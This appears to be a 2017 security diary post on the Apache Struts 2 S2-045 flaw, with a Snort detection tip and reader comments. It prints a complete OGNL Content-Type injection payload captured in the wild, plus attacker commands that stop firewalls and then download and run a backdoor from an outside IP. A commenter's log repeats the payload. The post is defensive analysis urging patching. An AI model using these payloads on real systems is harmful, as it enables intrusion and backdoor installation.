Critical Apache Struts 2 Vulnerability (Patch Now!)

Published: 2017-03-09
Last Updated: 2017-03-09 13:41:39 UTC
by Johannes Ullrich (Version: 1)
3 comment(s)

On Monday, Apache released a patch for the Struts 2 framework [1]. The patch fixes an easy to exploit vulnerability in the multipart parser that is typically used for file uploads. A Metasploit module was released that same day, and some readers reported seeing already exploit attempts in the wild.

You should be running Struts 2.3.32 or 2.5.10.1. All prior versions are vulnerable.

Struts 2 is a Java framework that is commonly used by Java-based web applications. It is also knowns as "Jakarta Struts" and "Apache Struts". The Apache project currently maintains Struts.

The vulnerability allows an attacker to include code in the "Content-Type" header of an HTTP request. The code will then be executed by the web server. Here is a request that I collected against one of my servers:

User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html..
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo \"587d7b356191903a8ff327f548766288\"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Accept: */*
Referer: http://linux.cn/
Accept-Language: zh-cn
Content-Length: 0
Host: [removed]
Connection: Keep-Alive

Yes... the content type header is quite long. About 800 bytes. It should be easy to catch these exploit attempts with Snort by just setting the "max_header_length" parameter in the http_inspect preprocessor. I haven't tried it yet, but setting this to 500 should work fine (the default is 750, which should work too). 

Snort.org included a rule in Tuesday's subscriber update.

The exploit should work on Windows and Linux. It tests which operating system it runs on via "@java.lang.System@getProperty('os.name')". It it runs on Windows, then it will execute cmd.exe /c followed by a command (highlighted in red in above's sample). One Unix, it will execute /bin/bash -c followed by the same command.

Commands I have seen so far:

Simple vulnerability checks:

echo "Struts2045"
echo \"587d7b356191903a8ff327f548766288\"

Attempts to download and run code:

/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://222.187.221.190:1234/2020;chmod 777 2020;./2020;
(Virustotal identifies this as a generic backdoor. See https://www.virustotal.com/en/file/db98788729f4810f64f9ff7b279dd69ef47942b87fc259fefc56e30f3aedb171/analysis/ )

Packet capture of the exploit running against a lab system 

[1] https://cwiki.apache.org/confluence/display/WW/S2-045

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Keywords:
3 comment(s)

Comments

According to https://cwiki.apache.org/confluence/display/WW/S2-045, the vulnerable versions are: "Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10", but the handler's diary says all older versions. Are older versions affected?
You say that "All prior versions are vulnerable," but that isn't what I've seen elsewhere. At https://struts.apache.org/docs/s2-032.html they say that the affected versions are: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3).
I have a version of Struts 2.5.10.1.
my log:

INFO Dispatcher:46 - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
21:40:36 WARN JakartaMultiPartRequest:68 - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='хххххххххххххххххх;chmod +x /tmp/хххххх;/tmp/ххххххх').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947)...

Diary Archives